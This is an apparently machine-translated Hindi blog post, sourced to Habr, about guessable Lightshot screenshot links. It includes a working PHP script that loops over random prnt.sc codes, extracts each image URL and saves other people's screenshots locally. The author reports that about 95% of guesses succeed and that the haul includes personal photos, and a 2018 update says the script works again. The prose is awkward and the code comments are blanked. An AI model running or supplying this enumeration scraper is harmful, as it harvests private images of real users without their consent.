लाइटशॉट और अन्य लोगों के स्क्रीनशॉट

लाइटशॉट लोगो

आज मैं लाइटशॉट के तत्काल स्क्रीनशॉट के लिए सेवा के एक "भेद्यता" पर आया हूं।

यह सब इस तथ्य से शुरू हुआ कि मैंने एक और स्क्रीनशॉट अपलोड किया और हब पर एक हालिया लेख को याद किया, जहां उपयोगकर्ता डेटा को बल द्वारा लिंक द्वारा विलय किया गया था।
URL में एक अक्षर को बदलने की कोशिश करते हुए, मुझे कृपया किसी और का स्क्रीनशॉट दिया गया।

आरंभ करने के लिए, मैंने यह पता लगाने की कोशिश की कि मास्क http://prntscr.com/1npf9n जैसा लिंक क्या उत्पन्न करता है
कुछ प्रयोगों के बाद, मुझे महसूस हुआ कि मुखौटा के सबसे अधिक संभावना है prntscr.com/1 [a-z0-9] (नंबर 1 के बाद 4 से 5 यादृच्छिक अक्षर आते हैं)
मैंने http://prntscr.com/login और http://prntscr.com/admin के लिंक भी आज़माए, जिनसे मैंने स्क्रीनशॉट भी देखे।
सबसे अधिक संभावना है, एल्गोरिथ्म को थोड़ा फिर से लिखा गया था, और वर्तमान लिंक पीढ़ी एल्गोरिथ्म को डिज़ाइन किया गया है ताकि सभी संयोजनों को समाप्त हो जाए, या तो लिंक की लंबाई बढ़कर 7 वर्ण हो जाएगी, या मास्क prntscr.com/2 Isa-z0-9 बन जाएगा।

इस प्रक्रिया में, मैंने सेवा की एक विशेषता की खोज की - यह अपने सर्वर पर चित्रों को संग्रहीत नहीं करता है, लेकिन उन्हें imgur.com और imageshack.us पर एपीआई के माध्यम से अपलोड करता है।

मुझे उत्सुकता से सताया गया था: "क्या सभी स्क्रीनशॉट डाउनलोड करना संभव है?"
और एक छोटी सी स्क्रिप्ट लिखने का फैसला किया गया था। पहले मैं पायथन में लिखना चाहता था, लेकिन यह मेरे काम करने वाले लैपटॉप पर स्थापित नहीं था, लेकिन डेनवर और पीएचपी हाथ में आ गए।
कृपया मेरे कोड के लिए मुझे मत मारो जो जल्दी में 5 मिनट में लिखा गया था। वह काफी कामकाजी हैं।

<?php set_time_limit(0); //       ob_implicit_flush(); function random_string($length) { //     $chars = "abcdefghijklmnopqrstuvwxyz1234567890"; //     $numChars = strlen($chars); //   $chars $string = ''; //    for ($i = 0; $i < $length; $i++) { //   $string.= substr($chars, rand(1, $numChars) - 1, 1); } return $string; //    } function get_http_response_code($url) { //   http  $headers = get_headers($url); return substr($headers[0], 9, 3); } if (!file_exists('lightshot_images')) { //     ,   mkdir('lightshot_images', 0777); } $options = array( 'http' => array( 'method' => "GET", 'header' => "Accept-language: en\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" ) ); $context = stream_context_create($options); while (1) { $randstring = random_string(5); //    $htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); //        preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is', $htmldata, $img_url); //   url  if (strlen($img_url[1][0]) > 1) { //    ,   1 -      $imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]); $localname = array_pop(explode('/', $img_url[1][0])); //          (.. imagename.png) $localpath = "./lightshot_images/" . $localname; //      . if (get_http_response_code($imgs) != "200") { echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404.   " . $imgs . "    :(</span>"; } else { file_put_contents($localpath, file_get_contents($imgs, false, $context)); // ,      curl,         echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'> - " . $localname . " , url - http://prntscr.com/m" . $randstring . " ,   " . $imgs . "</span>"; } } else { echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>  http://prntscr.com/m" . $randstring . "  </span>"; } } ?> 


ब्राउज़र में निष्पादन का परिणाम (जैसा कि आप देख सकते हैं, उत्पन्न यादृच्छिक लिंक का ~ 95% स्क्रीनशॉट देते हैं)
छवि
नतीजतन, मैंने स्क्रीनशॉट का एक पूरा गुच्छा अपलोड किया, जिसमें लोगों की व्यक्तिगत तस्वीरें, कोड के स्क्रीनशॉट और कई अन्य दिलचस्प चीजें हैं।

UPD 2018: लाइटशॉट में होने वाले परिवर्तनों को ध्यान में रखते हुए स्क्रिप्ट को ठीक किया। अब यह फिर से काम करता है।

Source: https://habr.com/ru/post/In197228/


All Articles